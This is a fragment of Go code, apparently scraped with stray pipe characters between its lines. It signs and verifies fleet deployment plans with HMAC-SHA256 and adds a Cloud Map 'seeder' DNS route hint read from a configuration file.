||
payload, err := json.Marshal(plan)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||
mac.Write(payload)
|
||
return hex.EncodeToString(mac.Sum(nil)), nil
|
||
}
|
||
|
||
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||
if fleetSecret == "" || signature == "" {
|
||
return false
|
||
}
|
||
payload, err := json.Marshal(plan)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||
mac.Write(payload)
|
||
expected := hex.EncodeToString(mac.Sum(nil))
|
||
return hmac.Equal([]byte(expected), []byte(signature))
|
||
}
|
||
|
||
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
|
||
namespace = "prod.local"
|
||
service = "seeder"
|
||
if h.dataDir == "" {
|
||
return namespace, service
|
||
}
|
||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||
data, err := os.ReadFile(cfgPath)
|
||
if err != nil {
|
||
return namespace, service
|
||
}
|
||
var payload struct {
|
||
Server struct {
|
||
CloudMapNamespace string `json:"cloud_map_namespace"`
|
||
CloudMapService string `json:"cloud_map_service"`
|
||
} `json:"server"`
|
||
}
|
||
if json.Unmarshal(data, &payload) != nil {
|
||
return namespace, service
|
||
}
|
||
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
|
||
namespace = ns
|
||
}
|
||
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
|
||
service = svc
|
||
}
|
||
return namespace, service
|
||
}
|
||
|
||
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
|
||
if body == nil {
|
||
return
|
||
}
|
||
ns, svc := h.cloudMapSettings()
|
||
routeVia := cloudmap.SeederDNSName(svc, ns)
|
||
if routeVia == "" {
|
||
return
|
||
}
|
||
if body.SpreadRouteHint == nil {
|
||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||
}
|
||
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
|
||
body.SpreadRouteHint.RouteVia = routeVia
|
||
}
|
||
}
|